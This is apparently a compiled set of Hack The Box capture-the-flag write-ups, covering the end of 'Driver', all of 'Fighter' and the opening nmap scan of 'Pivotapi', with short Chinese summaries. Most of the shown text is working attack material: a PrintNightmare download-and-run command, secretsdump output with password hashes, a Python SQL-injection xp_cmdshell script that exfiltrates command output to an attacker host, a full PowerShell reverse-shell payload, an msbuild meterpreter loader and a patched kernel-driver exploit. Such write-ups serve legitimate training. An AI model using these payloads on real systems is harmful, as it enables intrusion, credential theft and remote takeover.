*Evil-WinRM* PS C:\Users\tony\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> whoami
driver\tony
*Evil-WinRM* PS C:\Users\tony\Desktop> cat user.txt
a605c8dc202b75b68359640f43d14212
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2085.jpg)

#### root

by running winpeas, there is a system service running spoolsv which is print spooler service

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2086.jpg)

exploit as we need local privilege escalation

 - [CVE-2021-1675 - PrintNightmare LPE - PowerShell](https://github.com/calebstewart/CVE-2021-1675)

 - [Playing with PrintNightmare - 0xdf](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)

Following the steps gives error that running scripts is disabled.

For this, getting a meterpreter shell too won't work, you can import the module but you can't then run Invoke-Nightmare. The shell will die.

#### workaround

spin a local web server and download it then and it will then import it automatically

``` bash
*Evil-WinRM* PS C:\Users\tony\Desktop> IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.18/CVE-2021-1675.ps1')
*Evil-WinRM* PS C:\Users\tony\Desktop> Invoke-Nightmare -NewUser "luci" -NewPassword "luci11"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user luci as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
```

and we are administrator now:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/driver]
└─# evil-winrm -i 10.10.11.106 -u luci -p luci11                                                                                  

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\luci\Documents> whoami
driver\luci
*Evil-WinRM* PS C:\Users\luci\Documents> cat \Users\Administrator\Desktop\root.txt
d93ef08c4ef67ae0ae771a2048ca6e75
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2087.jpg)

get administrator's ntlm hash

``` bash
┌──(root💀kali)-[~/hackthebox/machine/driver]
└─# secretsdump.py luci@10.10.11.106
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

Password: luci11
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe5b3cda034afd685bc69ccd3c4e9387c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085:::
luci:1004:aad3b435b51404eeaad3b435b51404ee:b7e822b81dec47522161ecad82d1aaef:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword 
DRIVER\tony:liltony
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x68d8efd1bd3fa3ab206268f0bbc6e2a4a5e4b43e
dpapi_userkey:0x68060403e8f0276a683ad704b45dc7b850d9722f
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2088.jpg)

#### Summary of knowledge

 - SMB Penetration Testing Port 445
 - SMB - SCF File Attacks - NetNTLMv2 hash grab by using responder
 - ntlmv2 hash cracking using hashcat
 - evil-winrm shell usage
 - CVE-2021-1675 - PrintNightmare LPE - PowerShell
 - using secretsdump.py dumping administrator's ntlm hash

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end driver -->

</details>

<a id="case-fighter"></a>

## MSSQL 执行上下文与驱动漏洞

SQL 注入连接 xp_cmdshell，32 位会话与 64 位系统的差异影响后续驱动利用。原文还保留 DLL 逆向、解密程序及模块修改。

<p class="kb-provenance">来源 fighter · 原记录 2020-06-03 · 32 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-fighter">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start fighter -->

#### introduce

OS: Windows
Difficulty: Insane
Points:	     50
Release:	 05 May 2018
IP:	         10.10.10.72

User Blood:  00 days, 19 hours, 09 mins, 22 seconds.
Root Blood:  01 days, 04 hours, 16 mins, 21 seconds.

that's crazy for me

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb33.jpg)
 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap and masscan as usaul

``` bash
root@kali:~/hackthebox/fighter# masscan -p1-65535 10.10.10.72 --rate=1000 -e tun0 > ports

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-06-04 02:35:05 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
root@kali:~/hackthebox/fighter# ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
root@kali:~/hackthebox/fighter# nmap -Pn -sV -sC -v -p$ports 10.10.10.72

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 8.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: StreetFighter Club
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

In the homepage, find the Domain name “streetfighterclub.htb”. add the domain to /etc/hosts file.

let's look around, then find that there might be subdomains available that will give us more clues

intercept the request and send it to the intruder. We select where we want to brute force the request.

``` bash
GET / HTTP/1.1

Host: §1§.streetfighterclub.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
```

use namelist.txt located in /usr/share/dnsrecon/

find a subdomain called “members.streetfighterclub.htb” that gave HTTP code 403

then add the subdomain in /etc/hosts

open the webpage and got a 403 Forbidden error

``` bash
http://members.streetfighterclub.htb/
```

use dirb to scan

``` bash
dirb http://members.streetfighterclub.htb/

/old
```

then find web pages inside that directory. As we know that it is IIS server we find “asp” files on the web server and find a page called “login.asp”.

``` bash
dirb http://members.streetfighterclub.htb/old -X .asp

/login.asp
```

now got 

``` bash
http://members.streetfighterclub.htb/old/login.asp
```

#### exploit and getshell and privilege escalation

find that the web application is vulnerable to SQL injection in parameter "logintype=2".  We find username, password, and e-mail but were unable to login. So we tried command injection using SQL injection. We referred the following link.

 - [From MSSQL to RCE](https://www.tarlogic.com/en/blog/red-team-tales-0x01/)


so we made the following python3 payload script

``` bash
import sys
import requests
import threading
import base64
from html.parser import HTMLParser
from http.server import BaseHTTPRequestHandler, HTTPServer

query_id   = 0

def decode(data):
    parser = HTMLParser()
    try:
        # We don't like Unicode strings, do we?
        decoded_data = base64.b64decode(data)
    except:
        return '[-] decoding error'
    return decoded_data.decode('utf8', errors='ignore')

def get_command():
    try:
        cmd = input(':\> ')
        t = threading.Thread(target=send_command, args=(cmd,))
        t.start()
    except:
        sys.exit(0)

def send_command(cmd):
    global target_url, local_url

    payload = "2;"
    payload += "declare @r varchar(6120),@cmdOutput varchar(6120);"
    payload += "declare @res TABLE(line varchar(max));"
    payload += "insert into @res exec Xp_cmdshell %s;"
    payload += "set @cmdOutput=(SELECT CAST((select stuff((select cast(char(10) as varchar(max)) + line FROM @res for xml path('')), 1, 1, '')) as varbinary(max)) FOR XML PATH(''), BINARY BASE64);"
    payload += "set @r=concat('certutil -urlcache -f http://10.10.14.3/',@cmdOutput);"
    payload += "exec Xp_cmdshell @r;"
    payload += "--"

    # Data for login
    login = {
        'B1': 'LogIn',
        # 'logintype': "1 AND ISNULL(ASCII(SUBSTRING((SELECT @@version LIMIT 0,1)),"+str(limit)+",1)),0)>"+str(char),
        'logintype': payload % (cmd),
        'username': "admin",
        'rememberme': 'ON',
        'password': "admin",
    }

    requests.post("http://members.streetfighterclub.htb/old/verify.asp", data=login)

class MyServer(HTTPServer):
    def server_activate(self):
        # get first command
        get_command()
        HTTPServer.server_activate(self)

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def log_request(self, *args, **kwargs):
        return

    def log_message(self, *args, **kwargs):
        return

    def do_GET(self):
        global query_id
        self.send_error(404)

        # Certutil sends 2 requets each time
        if query_id % 2 == 0:
            output = self.path

            # if command output, decode it!
            if output != '/':
                print(decode(output[1:]))

            # get next command
            get_command()

        query_id += 1

if __name__ == '__main__':
    # Fake server behaviour
    handler = SimpleHTTPRequestHandler
    handler.server_version = 'nginx'
    handler.sys_version = ''
    handler.error_message_format = 'not found'

    # Add SSL support if you wanna be a ninja!
    httpd = MyServer(('0.0.0.0', 80), handler)

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
```

then run the script

``` bash
root@kali:~/hackthebox/fighter# python3 exploit.py 
:\> whoami
fighter\sqlserv
```

or use the following payload to spawn a reverse shell

``` bash
1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xP_cmDsHell', 1;RECONFIGURE WITH OVERRIDE;drop table #xxx;create table #xxx (out varchar(8000));Insert into #xxx (out) execute xp_CmDShell 'c:\WinDOWS\SYSWoW64\winDoWSpOwERsHEll\V1.0\PoWerShell.EXE "$client = New-Object System.Net.Sockets.TCPClient(\"10.10.14.3\",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"^> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';EXEC sp_configure 'xp_cmDsHeLl', 0;RECONFIGURE WITH OVERRIDE;
```

url encode the payload then send the request

``` bash
POST /old/verify.asp HTTP/1.1

Host: members.streetfighterclub.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://members.streetfighterclub.htb/old/login.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 2627

Connection: close

Cookie: ASPSESSIONIDASBDQAST=HDDPOADAMCOKAMNDGOGAFGGL

Upgrade-Insecure-Requests: 1



username=admin&password=123456&logintype=%31%3b%45%58%45%43%20%73%70%5f%63%6f%6e%66%69%67%75%72%65%20%27%73%68%6f%77%20%61%64%76%61%6e%63%65%64%20%6f%70%74%69%6f%6e%73%27%2c%20%31%3b%52%45%43%4f%4e%46%49%47%55%52%45%20%57%49%54%48%20%4f%56%45%52%52%49%44%45%3b%45%58%45%43%20%73%70%5f%63%6f%6e%66%69%67%75%72%65%20%27%78%50%5f%63%6d%44%73%48%65%6c%6c%27%2c%20%31%3b%52%45%43%4f%4e%46%49%47%55%52%45%20%57%49%54%48%20%4f%56%45%52%52%49%44%45%3b%64%72%6f%70%20%74%61%62%6c%65%20%23%78%78%78%3b%63%72%65%61%74%65%20%74%61%62%6c%65%20%23%78%78%78%20%28%6f%75%74%20%76%61%72%63%68%61%72%28%38%30%30%30%29%29%3b%49%6e%73%65%72%74%20%69%6e%74%6f%20%23%78%78%78%20%28%6f%75%74%29%20%65%78%65%63%75%74%65%20%78%70%5f%43%6d%44%53%68%65%6c%6c%20%27%63%3a%5c%57%69%6e%44%4f%57%53%5c%53%59%53%57%6f%57%36%34%5c%77%69%6e%44%6f%57%53%70%4f%77%45%52%73%48%45%6c%6c%5c%56%31%2e%30%5c%50%6f%57%65%72%53%68%65%6c%6c%2e%45%58%45%20%22%24%63%6c%69%65%6e%74%20%3d%20%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%53%6f%63%6b%65%74%73%2e%54%43%50%43%6c%69%65%6e%74%28%5c%22%31%30%2e%31%30%2e%31%34%2e%33%5c%22%2c%38%30%29%3b%24%73%74%72%65%61%6d%20%3d%20%24%63%6c%69%65%6e%74%2e%47%65%74%53%74%72%65%61%6d%28%29%3b%5b%62%79%74%65%5b%5d%5d%24%62%79%74%65%73%20%3d%20%30%2e%2e%36%35%35%33%35%7c%25%7b%30%7d%3b%77%68%69%6c%65%28%28%24%69%20%3d%20%24%73%74%72%65%61%6d%2e%52%65%61%64%28%24%62%79%74%65%73%2c%20%30%2c%20%24%62%79%74%65%73%2e%4c%65%6e%67%74%68%29%29%20%2d%6e%65%20%30%29%7b%3b%24%64%61%74%61%20%3d%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%2d%54%79%70%65%4e%61%6d%65%20%53%79%73%74%65%6d%2e%54%65%78%74%2e%41%53%43%49%49%45%6e%63%6f%64%69%6e%67%29%2e%47%65%74%53%74%72%69%6e%67%28%24%62%79%74%65%73%2c%30%2c%20%24%69%29%3b%24%73%65%6e%64%62%61%63%6b%20%3d%20%28%69%65%78%20%24%64%61%74%61%20%32%3e%26%31%20%7c%20%4f%75%74%2d%53%74%72%69%6e%67%20%29%3b%24%73%65%6e%64%62%61%63%6b%32%20%3d%20%24%73%65%6e%64%62%61%63%6b%20%2b%20%5c%22%50%53%20%5c%22%20%2b%20%28%70%77%64%29%2e%50%61%74%68%20%2b%20%5c%22%5e%3e%20%5c%22%3b%24%73%65%6e%64%62%79%74%65%20%3d%20%28%5b%74%65%78%74%2e%65%6e%63%6f%64%69%6e%67%5d%3a%3a%41%53%43%49%49%29%2e%47%65%74%42%79%74%65%73%28%24%73%65%6e%64%62%61%63%6b%32%29%3b%24%73%74%72%65%61%6d%2e%57%72%69%74%65%28%24%73%65%6e%64%62%79%74%65%2c%30%2c%24%73%65%6e%64%62%79%74%65%2e%4c%65%6e%67%74%68%29%3b%24%73%74%72%65%61%6d%2e%46%6c%75%73%68%28%29%7d%3b%24%63%6c%69%65%6e%74%2e%43%6c%6f%73%65%28%29%22%27%3b%45%58%45%43%20%73%70%5f%63%6f%6e%66%69%67%75%72%65%20%27%78%70%5f%63%6d%44%73%48%65%4c%6c%27%2c%20%30%3b%52%45%43%4f%4e%46%49%47%55%52%45%20%57%49%54%48%20%4f%56%45%52%52%49%44%45%3b&B1=LogIn
```

``` bash
root@kali:~/hackthebox/fighter# nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.3] from streetfighterclub.htb [10.10.10.72] 49173
whoami                                          
fighter\sqlserv
PS C:\Windows\system32>
```

We are not able to find anything on the target machine. So we try to convert our shell into meterpreter but are unable to run any exe file. So there was a firewall that didn’t allow us to run any exe file. We got a reference through this link on how to bypass this. We use the nps payload to create an XML file that will contain our payload (download from following)

 - [nps payload](https://github.com/trustedsec/nps_payload)

``` bash
root@kali:~/nps_payload-master# python nps_payload.py 

                                     (            (
                              ) (    )\        )  )\ )
  (    `  )  (       `  )  ( /( )\ )((_)(   ( /( (()/(
  )\ ) /(/(  )\      /(/(  )(_)|()/( _  )\  )(_)) ((_)
 _(_/(((_)_\((_)    ((_)_\((_)_ )(_)) |((_)((_)_  _| |
| ' \)) '_ \|_-<    | '_ \) _` | || | / _ \/ _` / _` |
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|
      |_|     |_____|_|         |__/

                       v1.03


        (1)     Generate msbuild/nps/msf payload
        (2)     Generate msbuild/nps/msf HTA payload
        (99)    Quit

Select a task: 1

Payload Selection:

        (1)     windows/meterpreter/reverse_tcp
        (2)     windows/meterpreter/reverse_http
        (3)     windows/meterpreter/reverse_https
        (4)     Custom PS1 Payload

Select payload: 1
Enter Your Local IP Address (None): 10.10.14.3
Enter the listener port (443): 443
[*] Generating PSH Payload...
[*] Generating MSF Resource Script...
[+] Metasploit resource script written to msbuild_nps.rc                                                
[+] Payload written to msbuild_nps.xml

1. Run "msfconsole -r msbuild_nps.rc" to start listener.
2. Choose a Deployment Option (a or b): - See README.md for more information.
  a. Local File Deployment:
    - %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
  b. Remote File Deployment:
    - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml                                                                          
3. Hack the Planet!!
```

We move into “c:\users\sqlserv” as we have a shell as user sqlserv.

run the command provided by npc payload to start our listener

``` bash
root@kali:~# msfconsole -r /root/nps_payload-master/msbuild_nps.rc
                                                  
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v5.0.71-dev                          ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

[*] Processing /root/nps_payload-master/msbuild_nps.rc for ERB directives.
resource (/root/nps_payload-master/msbuild_nps.rc)> use multi/handler
resource (/root/nps_payload-master/msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/nps_payload-master/msbuild_nps.rc)> set LHOST 10.10.14.3
LHOST => 10.10.14.3
resource (/root/nps_payload-master/msbuild_nps.rc)> set LPORT 443
LPORT => 443
resource (/root/nps_payload-master/msbuild_nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (/root/nps_payload-master/msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (/root/nps_payload-master/msbuild_nps.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.3:443
```
start our python HTTP Server to send our file to the target machine

``` bash
root@kali:~/hackthebox/fighter# ls
exploit.py  msbuild_nps.xml  ports
root@kali:~/hackthebox/fighter# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

download the file using certutil.exe on the target machine

``` bash
PS C:\users\sqlserv> certutil.exe -urlcache -split -f http://10.10.14.3/msbuild_nps.xml msbuild_nps.xml
****  Online  ****
  0000  ...
  1526
CertUtil: -URLCache command completed successfully.
PS C:\users\sqlserv> dir


    Directory: C:\users\sqlserv


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
d-r--        03/11/2017     14:11            Contacts                          
d-r--        03/11/2017     14:11            Desktop                           
d-r--        03/11/2017     14:11            Documents                         
d-r--        03/11/2017     14:11            Downloads                         
d-r--        03/11/2017     14:11            Favorites                         
d-r--        03/11/2017     14:11            Links                             
d-r--        03/11/2017     14:11            Music                             
d-r--        03/11/2017     14:11            Pictures                          
d-r--        03/11/2017     14:11            Saved Games                       
d-r--        03/11/2017     14:11            Searches                          
d-r--        03/11/2017     14:11            Videos                            
-a---        04/06/2020     05:55       5414 msbuild_nps.xml
```

then run the XML file we uploaded using msbuild.exe

``` bash
PS C:\users\sqlserv> c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe msbuild_nps.xml
```

then we got a meterpreter shell

``` bash
meterpreter > sysinfo
Computer        : FIGHTER
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : it_IT
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
```

To convert 32-bit session into 64-bit session, we check the processes and find the 64-bit running process. We then migrate our process to a 64-bit process and get a 64-bit session.

``` bash
meterpreter > ps
2920  1188  cmd.exe                  x64   0        FIGHTER\sqlserv  C:\Windows\System32\cmd.exe
meterpreter > migrate 2920
[*] Migrating from 1800 to 2920...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : FIGHTER
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : it_IT
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
```

fantastic!!!

still don’t find anything to escalate our privilege. As this machine on street fighter game, we try to google street fighter exploit and find that street fighter 5 has privilege escalation vulnerability. We find that street fighter has a service called Capcom, so we check if street fighter 5 is installed on the target machine.

``` bash
meterpreter > shell
Process 1044 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\users\sqlserv\desktop>sc query capcom
sc query capcom

SERVICE_NAME: capcom 
        TYPE               : 1  KERNEL_DRIVER  
        STATE              : 4  RUNNING 
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
```

We find this Metasploit exploit here, we try to run it but are unable to get a shell as it gave an error stating that the system was not vulnerable. So we make changes to the code and comment out the section where it checks the OS version.

``` bash
root@kali:~/hackthebox/fighter# searchsploit capcom
------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                          |  Path
                                                                        | (/usr/share/exploitdb/)
------------------------------------------------------------------------ ----------------------------------------
Street Fighter 5 - 'Capcom.sys' Kernel Execution (Metasploit)           | exploits/windows_x86-64/local/40451.rb
------------------------------------------------------------------------ ----------------------------------------
```

now edit the payload, add "#" at the beginning of the line

``` bash
      'DisclosureDate'  => 'Jan 01 1999', # non-vuln exploit date
      'DefaultTarget'   => 0
    }))
  end

  def check
    #if sysinfo['OS'] !~ /windows (7|8|10)/i
      #return Exploit::CheckCode::Unknown
    #end

    if sysinfo['Architecture'] !~ /(wow|x)64/i
      return Exploit::CheckCode::Safe
    end
```

now run the exploit again

``` bash
msf > use exploit/windows/local/capcom_sys_exec
msf exploit(windows/local/capcom_sys_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/capcom_sys_exec) > set lhost tun0
msf exploit(windows/local/capcom_sys_exec) > set lport 80
msf exploit(windows/local/capcom_sys_exec) > set session 2
msf exploit(windows/local/capcom_sys_exec)> run

[*] Started reverse TCP handler on 10.10.14.3:80 
[*] Launching notepad to host the exploit...
[+] Process 2592 launched.
[*] Reflectively injecting the exploit DLL into 2592...
[*] Injecting exploit into 2592...
[*] Exploit injected. Injecting payload into 2592...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 10.10.10.72
[*] Meterpreter session 3 opened (10.10.14.3:80 -> 10.10.10.72:49187) at 2020-06-04 00:27:24 -0400
```

now we got system privilege

``` bash
meterpreter > sysinfo
Computer        : FIGHTER
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : it_IT
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

then enter a shell and find the flag

``` bash
meterpreter > shell
Process 120 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd c:\users\decoder\Desktop
cd c:\users\decoder\Desktop

c:\Users\decoder\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE85-B9AE

 Directory of c:\Users\decoder\Desktop

02/05/2018  17:28    <DIR>          .
02/05/2018  17:28    <DIR>          ..
08/01/2018  21:47                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)  23.804.547.072 bytes free

c:\Users\decoder\Desktop>type user.txt
type user.txt
bb6163c184f203af2a31a9c035934297
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb34.jpg)

we got user.txt

We move into c:\users\Administrator\Desktop and find a file called “root.exe”. We run it and find that it asks for a password. There is also a DLL file called “checkdll.dll”, as the password might be checked using this DLL file.

``` bash
c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE85-B9AE

 Directory of c:\Users\Administrator\Desktop

08/01/2018  21:44    <DIR>          .
08/01/2018  21:44    <DIR>          ..
24/10/2017  17:02             9.216 checkdll.dll
08/01/2018  23:34             9.728 root.exe
24/10/2017  21:06        13.767.776 vc_redist.x86.exe
               3 File(s)     13.786.720 bytes
               2 Dir(s)  23.804.547.072 bytes free

c:\Users\Administrator\Desktop>root.exe
root.exe
root.exe <password>
```

We download both the files into our system using meterpreter.

``` bash
meterpreter > cd Users/Administrator/Desktop
meterpreter > pwd
C:\Users\Administrator\Desktop
meterpreter > download root.exe /root/hackthebox/fighter
[*] Downloading: root.exe -> /root/hackthebox/fighter/root.exe
[*] Downloaded 9.50 KiB of 9.50 KiB (100.0%): root.exe -> /root/hackthebox/fighter/root.exe
[*] download   : root.exe -> /root/hackthebox/fighter/root.exe
meterpreter > download checkdll.dll /root/hackthebox/fighter
[*] Downloading: checkdll.dll -> /root/hackthebox/fighter/checkdll.dll
[*] Downloaded 9.00 KiB of 9.00 KiB (100.0%): checkdll.dll -> /root/hackthebox/fighter/checkdll.dll
[*] download   : checkdll.dll -> /root/hackthebox/fighter/checkdll.dll
```

reverse engineer them using IDA and find that this program XOR’s 9 with each character of the variable aFmFeholH. Now analyzing with IDA tells us that the variable contains “FmfEhO1}h”.

``` bash
public check
check proc near

arg_0= dword ptr  8

push    ebp
mov     ebp, esp
mov     edx, [ebp+arg_0]
xor     eax, eax
sub     edx, offset aFmFeholH ; "Fm`fEhOl}h"
xchg    ax, ax
```

伪代码

``` bash
signed int __cdecl check(int a1)
{
  int v1; // eax

  v1 = 0;
  while ( (*(_BYTE *)(a1 + v1) ^ 9) == aFmFeholH[v1] )
  {
    if ( (unsigned int)++v1 >= 0xA )
      return 1;
  }
  return 0;
}
```

So we create a c program that XOR’s 9 with each character of the string.

``` bash
Fm`fEhOl}h
```

check.c
``` bash
#include <stdio.h>

int main(int argc, char **argv) {
char aFmFeholH[15] = "Fm`fEhOl}h";
int v1;
	for (v1=0;v1<11;v1++)
		printf("%c",(*(int *) (aFmFeholH + v1) ^ 9));
	puts("");
return 0;
}
```

compile and run the file and get the password to be “OdioLaFeta”.

``` bash
root@kali:~/hackthebox/fighter# gcc check.c -o check
root@kali:~/hackthebox/fighter# ./check 
OdioLaFeta
```

provide the password to the root.exe we get our final flag

``` bash
C:\Users\Administrator\Desktop>root.exe OdioLaFeta
root.exe OdioLaFeta
d801c1e9bd9a02f8fb30d8bd3be314c1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb35.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb36.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb37.jpg)

what a crazy box...

#### Summary of knowledge

 - masscan quick port scan
 - burp intruder fuzz subdomains
 - sql injection python shell script
 - Construct xp_cmdshell statement to spawn a shell
 - use nps payload bypass a firewall
 - use "certutil.exe -urlcache -split -f" to download files
 - turn 32-bits session to 64-bits session
 - Street Fighter 5 - 'Capcom.sys' Kernel Execution (Metasploit)
 - modify metasploit module ruby scripts
 - reverse engineer .dll file then write .c decrypt program

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lucifer11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end fighter -->

</details>

<a id="case-pivotapi"></a>

## API 监控与服务凭据恢复

FTP 文档与 Kerberos 账户连接 Windows 程序。Procmon、API Monitor、服务重启工具和数据库脚本的修改串起后续执行与提权。

<p class="kb-provenance">来源 pivotapi · 原记录 2021-05-15 · 23 个代码块 · 15 处图片引用</p>

<details class="kb-evidence" id="record-pivotapi">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pivotapi -->

#### introduce

OS: Windows
Difficulty: Insane
Points:	50
Release:	08 May 2021
IP:	10.10.10.240

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1967.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.240
PORT      STATE SERVICE           VERSION
21/tcp    open  ftp               Microsoft ftpd
22/tcp    open  ssh               OpenSSH for_Windows_7.7 (protocol 2.0)
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2021-05-14 15:22:56Z)
135/tcp   open  msrpc             Microsoft Windows RPC
